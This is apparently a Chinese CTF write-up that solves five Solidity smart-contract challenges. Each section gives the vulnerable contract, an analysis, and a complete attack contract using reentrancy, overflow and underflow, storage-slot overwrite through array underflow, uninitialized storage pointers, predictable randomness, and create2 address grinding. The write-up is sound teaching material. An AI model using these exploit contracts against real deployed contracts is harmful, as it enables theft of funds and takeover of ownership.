Happy_DOuble_Eleven 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 pragma solidity ^0.4.23; interface Tmall { function Chop_hand(uint) view public returns (bool); } contract Happy_DOuble_Eleven { address public owner; bool public have_money; bytes32[] public codex; bool public have_chopped; uint public hand; mapping (address => uint) public balanceOf; mapping (address => uint) public mycart; mapping (address => uint) public level; event pikapika_SendFlag(string b64email); constructor() public { owner = msg.sender; } function payforflag(string b64email) onlyOwner public { require(uint(msg.sender) & 0xfff == 0x111); require(level[msg.sender] == 3); require(mycart[msg.sender] > 10000000000000000000); balanceOf[msg.sender] = 0; level[msg.sender] = 0; have_chopped = false; have_money = false; codex.length = 0; emit pikapika_SendFlag(b64email); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier first() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0x0)); require(_value > 0); uint256 oldFromBalance = balanceOf[_from]; uint256 oldToBalance = balanceOf[_to]; uint256 newFromBalance = balanceOf[_from] - _value; uint256 newToBalance = balanceOf[_to] + _value; require(oldFromBalance >= _value); require(newToBalance > oldToBalance); balanceOf[_from] = newFromBalance; balanceOf[_to] = newToBalance; assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance)); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function Deposit() public payable { if(msg.value >= 500 ether){ mycart[msg.sender] += 1; } } function gift() first { require(mycart[msg.sender] == 0); require(uint(msg.sender) & 0xfff == 0x111); balanceOf[msg.sender] = 100; mycart[msg.sender] += 1; level[msg.sender] += 1; } function Chopping(uint _hand) public { Tmall tmall = Tmall(msg.sender); if (!tmall.Chop_hand(_hand)) { hand = _hand; have_chopped = tmall.Chop_hand(hand); } } function guess(uint num) public { uint seed = uint(blockhash(block.number - 1)); uint rand = seed % 3; if (rand == num) { have_money = true; } } function buy() public { require(level[msg.sender] == 1); require(mycart[msg.sender] == 1); require(have_chopped == true); require(have_money == true); mycart[msg.sender] += 1; level[msg.sender] += 1; } function retract() public { require(codex.length == 0); require(mycart[msg.sender] == 2); require(level[msg.sender] == 2); require(have_money == true); codex.length -= 1; } function revise(uint i, bytes32 _person) public { require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000); require(mycart[msg.sender] == 2); require(level[msg.sender] == 2); require(have_money == true); codex[i] = _person; if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){ codex.length = 0; revert(); } else{ level[msg.sender] += 1; } } function withdraw(uint _amount) onlyOwner public { require(mycart[msg.sender] == 2); require(level[msg.sender] == 3); require(_amount >= 100); require(balanceOf[msg.sender] >= _amount); require(address(this).balance >= _amount); balanceOf[msg.sender] -= _amount; msg.sender.call.value(_amount)(); mycart[msg.sender] -= 1; } }
📌 成功调用payforflag()
2. analysis
这道题富含的知识点比较多,涉及了:重入,溢出,create2,构造器调用者代码大小为0,动态数组的覆盖和溢出,构造伪随机数,自己给自己转钱余额翻倍涨
,蛮有意思。
分析:
gift() first
:在构造器中调用,满足 codesize==0
,且使得 mycart[msg.sender] == 1, level[msg.sender] == 1
Chopping()
:攻击者可以自定义Chop_hand
函数,令其满足第一次调用为false
第二次调用为true
即可,函数调用完成之后have_chopped=true
guess()
:制造伪随机数,函数调用完成之后have_money=true
buy()
:调用该函数,使得mycart[msg.sender] == 2, level[msg.sender] == 2
retract()
:调用该函数,使得codex.length
发生下溢,为接下来的owner
值覆盖做铺垫
revise()
:计算出数组的长度,使其+1
发生上溢,覆盖掉owner
,令其成为hacker
withdraw
:不难看出,此时的mycart[msg.sender] == 2
,除了主动调用withdraw
函数之外,还需要进行两次重入使其发生溢出,但是balance的变量更新在转账之前,所以需要有三倍的转账资金,不难看出,_transfer
有大问题,之前在重入篇 已经分析过了,就不细说了
综上便有了攻击合约
3. solve 攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Tmall { function Chop_hand(uint) external returns (bool); } interface IHappy_DOuble_Eleven{ function gift() external; function guess(uint num) external; function Chopping(uint _hand) external; function buy() external; function retract() external; function revise(uint i, bytes32 _person) external; function balanceOf(address user) external returns (uint); function transfer(address _to, uint256 _value) external returns (bool success); function withdraw(uint _amount) external; function payforflag(string memory b64email) external; } contract Happy_DOuble_ElevenHacker is Tmall { IHappy_DOuble_Eleven eleven; uint counter; uint fallback_counter; constructor(address _eleven) { eleven = IHappy_DOuble_Eleven(_eleven); // 1. mycart[msg.sender] == 1, level[msg.sender] == 1, balanceOf[msg.sender] == 100 eleven.gift(); // create2 } function pwn() external { // 2. call guess() => have_money == true eleven.guess(uint(blockhash(block.number - 1)) % 3); // 3. call Chopping => have_chopped == true eleven.Chopping(0); // 4. call buy() => mycart[msg.sender] == 2, level[msg.sender] == 2 eleven.buy(); // 5. call retract() => codex.length == type(uint256).max eleven.retract(); // 6. call revise() => become owner, level[msg.sender] == 3 uint index_code_0 = uint(keccak256(abi.encodePacked(uint(1)))); // code[0]'s location uint index_owner = type(uint).max - index_code_0 + 1; // owner's location = total - index_code_0 + 1 => slot0 eleven.revise(index_owner, bytes32(uint(uint160(address(this))))); // hacker become owner // 7. call transfer() for 2 times => balanceOf[msg.sender] = 400 for (uint i; i < 2; i++) { eleven.transfer(address(this), eleven.balanceOf(address(this))); } // 8. make overflow => mycart[msg.sender] > 10000000000000000000 eleven.withdraw(100); // 9. capture the flag eleven.payforflag("BYYQ1030"); } function Chop_hand(uint) external returns (bool) { if (counter == 0) { counter++; return false; } return true; } fallback() external payable { if (fallback_counter < 3) { fallback_counter++; eleven.withdraw(100); } } } contract Happy_DOuble_ElevenDeployer { function deploy(uint _salt, address challenge) external returns (address hacker) { bytes32 salt = keccak256(abi.encodePacked(_salt)); bytes memory bytecode = abi.encodePacked(type(Happy_DOuble_ElevenHacker).creationCode, abi.encode(challenge)); assembly { hacker := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } } function sendMoney(address payable to) external payable { selfdestruct(to); } }
cow 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 pragma solidity ^0.4.2; contract cow{ address public owner_1; address public owner_2; address public owner_3; address public owner; mapping(address => uint) public balance; struct hacker { address hackeraddress1; address hackeraddress2; } hacker h; constructor()public{ owner = msg.sender; owner_1 = msg.sender; owner_2 = msg.sender; owner_3 = msg.sender; } event SendFlag(string b64email); function payforflag(string b64email) public { require(msg.sender==owner_1); require(msg.sender==owner_2); require(msg.sender==owner_3); owner.transfer(address(this).balance); emit SendFlag(b64email); } function Cow() public payable { uint geteth=msg.value/1000000000000000000; if (geteth==1) { owner_1=msg.sender; } } function cov() public payable { uint geteth=msg.value/1000000000000000000; if (geteth<1) { hacker fff=h; fff.hackeraddress1=msg.sender; } else { fff.hackeraddress2=msg.sender; } } function see() public payable { uint geteth=msg.value/1000000000000000000; balance[msg.sender]+=geteth; if (uint(msg.sender) & 0xffff == 0x525b) { balance[msg.sender] -= 0xb1b1; } } function buy_own() public { require(balance[msg.sender]>1000000); balance[msg.sender]=0; owner_3=msg.sender; } }
📌 成功调用payforflag()
2. analysis
做法:逐步占领各个owner
Cow()
:成为owner_1
cov()
:成为owner_2
,不能走if
语句,因为无法覆盖到slot0
的位置,前面有类似的题,只有在函数体中声明storage类型的结构体才会进行覆盖,如果在函数体外声明,EVM则会事先给结构体开辟空间。
buy_own()
:成为owner_3
,但是需要先通过see()
使balance[msg.sender]
发生下溢
3. solve 攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.8.0; interface Icow { function Cow() external payable; function cov() external payable; function see() external payable; function buy_own() external; function payforflag(string memory b64email) external; } contract CowHacker { Icow cow; function attack(address _cow) public payable { require(msg.value == 3 ether, "msg.value less than 3 ether"); cow = Icow(_cow); cow.Cow{value : 1 ether}(); // 成为owner_1 cow.cov{value : 1 ether}(); // 成为owner_2 cow.see{value : 1 ether}(); // balance[msg.sender] 发生溢出 cow.buy_own(); // 成为owner_3 cow.payforflag("hacker"); } receive() external payable{} } contract Deployer { function deploy(uint _salt) public returns(address){ bytes memory bytecode = type(CowHacker).creationCode; bytes32 salt = keccak256(abi.encodePacked(_salt)); address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } return addr; } }
rise 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 pragma solidity ^0.4.2; contract rise { address referee; uint secret; uint bl; mapping(address => uint) public balance; mapping(address => uint) public gift; address owner; struct hacker { address hackeraddress; uint value; } constructor()public{ owner = msg.sender; referee = msg.sender; balance[msg.sender]=10000000; bl=1; secret=18487187377722; } event SendFlag(string b64email); modifier onlyOwner(){ require(msg.sender == owner); _; } modifier onlyRefer(){ require(msg.sender == referee); _; } function payforflag(string b64email) public { require(balance[msg.sender]>1000000); balance[msg.sender]=0; bl=1; owner.transfer(address(this).balance); emit SendFlag(b64email); } function airdrop() public { require(gift[msg.sender]==0); gift[msg.sender]==1; balance[msg.sender]+=1; } function deposit() public payable { uint geteth=msg.value/1000000000000000000; balance[msg.sender]+=geteth; } function set_secret(uint target_secret) public onlyOwner { secret=target_secret; } function set_bl(uint target_bl) public onlyRefer { bl=target_bl; } function risegame(uint guessnumber) public payable { require(balance[msg.sender]>0); uint geteth=msg.value/1000000000000000000; if (guessnumber==secret) { balance[msg.sender]+=geteth*bl; bl=1; } else { balance[msg.sender]=0; bl=1; } } function transferto(address to) public { require(balance[msg.sender]>0); if (to !=0) { balance[to]=balance[msg.sender]; balance[msg.sender]=0; } else { hacker storage h; h.hackeraddress=msg.sender; h.value=balance[msg.sender]; balance[msg.sender]=0; } } }
📌 成功调用payforflag()
2. analysis
airdrop()
:空投函数,使balance[msg.sender] != 0
deposit()
:再次为了balance[msg.sender] != 0
transferto()
:成为referee
,并将secret
设置为1
set_bl
:提高倍率
risegame
:将balance升高
3. solve 攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract Hacker { rise rise_; constructor(address _rise) public { rise_ = rise(_rise); } function attack() public payable { require(msg.value == 2 ether); rise_.airdrop(); // 获取空投 rise_.transferto(address(0)); // 成为referee,设置密码为1 rise_.deposit.value(1 ether)(); // 使 balance[msg.sender] != 0 rise_.set_bl(1000001); // 使 b1的值变大 rise_.risegame.value(1 ether)(1); // 为了满足 1 * 1000001 > 1000000 rise_.payforflag("hacker"); } function() external payable{} }
roiscoin 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 pragma solidity ^0.4.23; contract FakeOwnerGame { event SendFlag(address _addr); uint randomNumber = 0; uint time = now; mapping (address => uint) public BalanceOf; mapping (address => uint) public WinCount; mapping (address => uint) public FailCount; bytes32[] public codex; address private owner; uint256 settlementBlockNumber; address guesser; uint8 guess; struct FailedLog { uint failtag; uint failtime; uint success_count; address origin; uint fail_count; bytes12 hash; address msgsender; } mapping(address => FailedLog[]) FailedLogs; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function payforflag() onlyOwner { require(BalanceOf[msg.sender] >= 2000); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (guess == answer) { WinCount[msg.sender] += 1; BalanceOf[msg.sender] += 1000; } else { FailCount[msg.sender] += 1; } if (WinCount[msg.sender] == 2) { if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) { guesser = 0; WinCount[msg.sender] = 0; FailCount[msg.sender] = 0; msg.sender.transfer(address(this).balance); } else { FailedLog failedlog; failedlog.failtag = 1; failedlog.failtime = now; failedlog.success_count = WinCount[msg.sender]; failedlog.origin = tx.origin; failedlog.fail_count = FailCount[msg.sender]; failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender])); failedlog.msgsender = msg.sender; FailedLogs[msg.sender].push(failedlog); } } } function beOwner() payable { require(address(this).balance > 0); if(msg.value > address(this).balance){ owner = msg.sender; } } function revise(uint idx, bytes32 tmp) { if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) { codex[idx] = tmp; } } }
📌 成功调用payforflag()
2. analysis
这道题很奈斯!
要求成为owner
,并且BalanceOf[msg.sender] >= 2000
。
分析
lockInGuess()
:锁定guess,并成为猜题人(为了成功调用settle
)
settle()
:能够进行一些变量的覆盖,尤其重要的是数组codex
的长度,为了能进行变量覆盖,必须进入到如下的else语句中
1 2 3 4 5 6 if (WinCount[msg.sender] == 2) { if (){ ... } else { // 这里别有一番天地 }
所以这便要求了猜题的次数分配如:必须猜对两次,且猜错的次数大于等于1
当属最难便是对于数组长度的覆盖😭😭😭
1 2 3 4 5 6 7 8 9 bytes12 hash; address msgsender; failedlog.hash = bytes12 (sha3 (WinCount [msg.sender ] + FailCount [msg.sender ])); failedlog.msgsender = msg.sender ;
通过计算可知,从codex[0]
到存储owner
变量的”距离”为 owner_index
codex_length
= 114245411204874937970903528273105092893277201882823832116766311725579567940175
1 2 3 uint codex_0 = uint(keccak256(abi.encodePacked(uint(5)))); // codex[0]所在位置 uint codex_length = type(uint256).max - codex_0; // codex数组到EVM存储空间末尾的距离 uint owner_index = codex_length + 7; // 变量owner相对于数组的位置
通过实践可以发现,只要msg.sender
是以ff或fe
开头的地址,那么他们拼凑出来的值便会大于codex_length
。
最后,最离谱的是,里面有个骗子函数beOwner()
这就是个无底洞,永远也无法从该函数成为owner
,不信你来试试看。
3. solve 计算脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import { ethers } from "ethers" const const_num = "0xFF" ;const contract_add = "" ; let str1 = const_num + contract_add.slice (2 ,contract_add.length );const bytecode = "" ; const bytecodeToHash = ethers.utils .solidityKeccak256 (['bytes' ],[bytecode]);let salt = 0 ;while (true ) { let saltToHash = ethers.utils .solidityKeccak256 (['uint' ],[salt]); saltToHash = saltToHash.slice (2 , saltToHash.length ) let str2 = str1.concat (saltToHash).concat (bytecodeToHash.slice (2 ,bytecodeToHash.length )); let hash = ethers.utils .solidityKeccak256 (['bytes' ] ,[str2]); if ((hash.slice (26 , 28 ) == "ff" || hash.slice (26 , 28 ) == "fe" ) && hash.slice (hash.length - 2 , hash.length ) == "61" ) { console .log (`salt = ${salt} ` ); console .log (`address = 0x${hash.slice(26 , hash.length)} ` ); break ; } salt++; }
攻击合约
攻击逻辑:先通过脚本计算出来的盐部署出hacker合约的实例,①调用hacker的attack1()
函数,并支付1 ethter
;②一直调用attack2()
函数(可能会出现调用失败的情况但是不影响,只要一直调用便会正常),直到wintimes == 2,failtimes >= 1
为止;③调用attack3()
函数,即完成攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 pragma solidity ^0.8.0; interface IFakeOwnerGame{ function lockInGuess(uint8 n) external payable; function settle() external; function payforflag() external; function revise(uint idx, bytes32 tmp) external; } contract FakeOwnerGameHack{ IFakeOwnerGame game; address owner; uint public wintimes; uint public failtimes; constructor() { owner = msg.sender; } function attack1(address _game) public payable { require(msg.value == 1 ether, "msg.value != 1 ether"); game = IFakeOwnerGame(_game); game.lockInGuess{value:1 ether}(1); } // 多次调用该函数,直到 wintimes == 2,且failtimes不为0 function attack2() external { uint8 answer = uint8(uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 2; if (answer == 1) { if (wintimes == 2) return; game.settle(); game.settle(); wintimes += 2; } else { game.settle(); failtimes++; } if (wintimes == 2) { require(failtimes != 0, "failtimes is zero,try again..."); } } function attack3() public { // beOwner()函数简直就是赤裸裸的诈骗啊!!! // game.beOwner{value: msg.value}(); uint codex_0 = uint(keccak256(abi.encodePacked(uint(5)))); // codex[0]所在位置 uint codex_length = type(uint256).max - codex_0; // codex数组到EVM存储空间末尾的距离 uint owner_index = codex_length + 7; // 变量owner相对于数组的位置 game.revise(owner_index, bytes32(uint(uint160(address(this))))); // 成为owner // 夺旗 game.payforflag(); } receive() external payable { // 用于将钱转回 EOA 可加可不加 //(bool success, ) = owner.call{value:address(msg.sender).balance}(""); } } contract Deployer { function deploy(uint _salt) public returns(address){ bytes memory bytecode = type(FakeOwnerGameHack).creationCode; bytes32 salt = keccak256(abi.encodePacked(_salt)); address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } return addr; } function pay(address payable to) public payable { selfdestruct(to); } }
Bank 1. question 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 pragma solidity ^0.4.24; contract Bank { event SendEther(address addr); event SendFlag(address addr); address public owner; uint randomNumber = 0; constructor() public { owner = msg.sender; } struct SafeBox { bool done; function(uint, bytes12) internal callback; bytes12 hash; uint value; } SafeBox[] safeboxes; struct FailedAttempt { uint idx; uint time; bytes12 triedPass; address origin; } mapping(address => FailedAttempt[]) failedLogs; modifier onlyPass(uint idx, bytes12 pass) { if (bytes12(sha3(pass)) != safeboxes[idx].hash) { FailedAttempt info; info.idx = idx; info.time = now; info.triedPass = pass; info.origin = tx.origin; failedLogs[msg.sender].push(info); } else { _; } } function deposit(bytes12 hash) payable public returns(uint) { SafeBox box; box.done = false; box.hash = hash; box.value = msg.value; if (msg.sender == owner) { box.callback = sendFlag; } else { require(msg.value >= 1 ether); box.value -= 0.01 ether; box.callback = sendEther; } safeboxes.push(box); return safeboxes.length-1; } function withdraw(uint idx, bytes12 pass) public payable { SafeBox box = safeboxes[idx]; require(!box.done); box.callback(idx, pass); box.done = true; } function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) { msg.sender.transfer(safeboxes[idx].value); emit SendEther(msg.sender); } function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) { require(msg.value >= 100000000 ether); emit SendFlag(msg.sender); selfdestruct(owner); } }
📌 成功调用sendFlag()
,也可以理解为触发SendFlag
事件。
2. analysis
观察可发现在deposit
函数和onlyPass
装饰器中均存在未初始化存储指针漏洞。
结合布局来看,deposit
函数中的box
结构体可以改写owner
和randomNumber
。如果能将owner
改为attacker的地址,就可以将box
的回调设置为sendFlag
函数,从而调用,但仍然绕不过msg.value >= 100000000 ether
的限制,因此不可行。
而onlyPass
中的FailedAttemp
结构体还可改写safeboxes
数组的长度。若改写长度为n,则withdraw
函数执行回调时即可直接访问safeboxes[i] (i<n)
。同时由于FailedAttempt
中的triedPass
这12个字节是可控的,因此只要找到safeboxes[i] -> FailedAttempt.treidPass
,再设置好合适的treidPass
数据,即可通过box[i]
的回调直接跳转到触发SendFlag
事件的代码继续执行。
通过反编译可以找到 emit SendFlag(msg.sender);
的地址为:0x070F
合约的slot存储布局如下:
1 2 3 4 5 6 7 8 9 ----------------------------------------------------- | unused (12 ) | owner (20 ) | <- slot 0 ----------------------------------------------------- | randomNumber (32) | <- slot 1 ----------------------------------------------------- | safeboxes.length (32) | <- slot 2 ----------------------------------------------------- | occupied by failedLogs but unused (32) | <- slot 3 -----------------------------------------------------
safebox存储布局如下:
1 2 3 4 5 ----------------------------------------------------- | unused (11 ) | hash (12 ) | callback (8 ) | done (1 ) | ----------------------------------------------------- | value (32 ) | -----------------------------------------------------
faillog存储布局如下:
1 2 3 4 5 6 7 ----------------------------------------------------- | idx (32 ) | ----------------------------------------------------- | time (32 ) | ----------------------------------------------------- | origin (20 ) | triedPass (12 ) | -----------------------------------------------------
首先,要制造出进入onlyPass
的条件入口,指通过deposit
函数将callback
设置成sendEther
才可以。
引用大佬的分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 FailedLogs [0 ] = keccak256 (0 ||3 )FailedLogs [msg.sender ] = keccak256 (msg.sender ||3 )keccak256 (msg.sender ||3 ) = FailedAttempt .length FailedAttempt [0 ] = keccak256 (keccak256 (msg.sender ||3 )) + 0 *3 FailedAttempt [0 ].triedPass = keccak256 (keccak256 (msg.sender ||3 )) + 2 box[0 ] = keccak256 (2 ) box[i] = keccak256 (2 ) + i*2 box[i] -> FailedAttempt [0 ].triedPass keccak256 (2 ) + i*2 = keccak256 (keccak256 (msg.sender ||3 )) + 2 i = (keccak256 (keccak256 (msg.sender ||3 )) + 2 - keccak256 (2 )) / 2 i = (failedAttempAddr + 2 - boxAddr) / 2
分析:因为 SafeBox 结构体占两个 slot,所以 safeboxes[i] 的存储位置为:keccak(2) + i * 2 ;
同理FailedAttempt数组也是一样的,不过其占用的是三个slot,而FailedAttempt[0].triedPass
的位置在keccak256(keccak256(msg.sender||3)) + 2
,所以就有了idx的计算式如下:
1 2 3 keccak256 (2 ) + i*2 = keccak256 (keccak256 (msg.sender ||3 )) + 2 i = (keccak256 (keccak256 (msg.sender ||3 )) + 2 - keccak256 (2 )) / 2 i = (failedAttempAddr + 2 - boxAddr) / 2
helper合约就是用于计算使用的。
这里还需要注意的是:i < boxLength
,即i < msg.sender||triedPass
,还要判断是否可以整除2,若不能整除则也不符合要求,box[i]
会指向time
字段。故对attacker的地址也有所限制。
至于为什么要整除2呢,我的理解是,首先在solidity中对小数采取舍弃的方法,那么,比如 在 slot1,slot2,slot3中,我要跳转到,slot2的位置,
3. solve 攻击合约
tx.origin=0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 contract BankHacker { Bank bank; constructor (address _bank) public { bank = Bank(_bank); } function pwn() public payable { require(msg.value >= 1 ether, "You must pay 1 ether"); // 1. make id[0].callback = sendEther to into onlyPass bank.deposit.value(1 ether)(bytes12(uint96(0))); // parameter is arbitrary // 2. cover the box[i]'s callback, pass: 000000000000070F00 bank.withdraw(0, 0x999999000000000000070F00); // 3. calculate the idx uint idx = (new BankHelper()).calIdx(address(this)); // the address is address(this)!!!! // 4. capture the falg bank.withdraw(idx, bytes12(uint96(0))); } } contract BankHelper { // 计算出 FailedAttempt[0] function calFailedAttempt_0(address addr) public pure returns(uint) { return uint(keccak256(keccak256(abi.encodePacked(bytes32(addr), bytes32(3))))); } // 计算出 safeboxes[0] function calBox_0() public pure returns(uint) { return uint(keccak256(uint(2))); } // 计算idx function calIdx(address hacker) public returns (uint) { return (calFailedAttempt_0(hacker) + 2 - calBox_0()) / 2; } // 确保length > idx function compareLength(address hacker) public returns(bool) { return bytes20(hacker) > bytes20(bytes32(calIdx(hacker))); } function isDivsibleBy2(address hacker) public returns(bool) { return (calFailedAttempt_0(hacker) + 2 - calBox_0()) % 2 == 0; } function uintTobytes32(uint num) public returns(bytes32){ return bytes32(num); } }
总结
前四道题还好,最后一道就很有挑战性了,知道了如何计算组合型的变量的存储位置,如mapping(address=>struct)类型的。也为我以后做题提供了新思路,就是回归到底层,通过操作EVM来达到目的。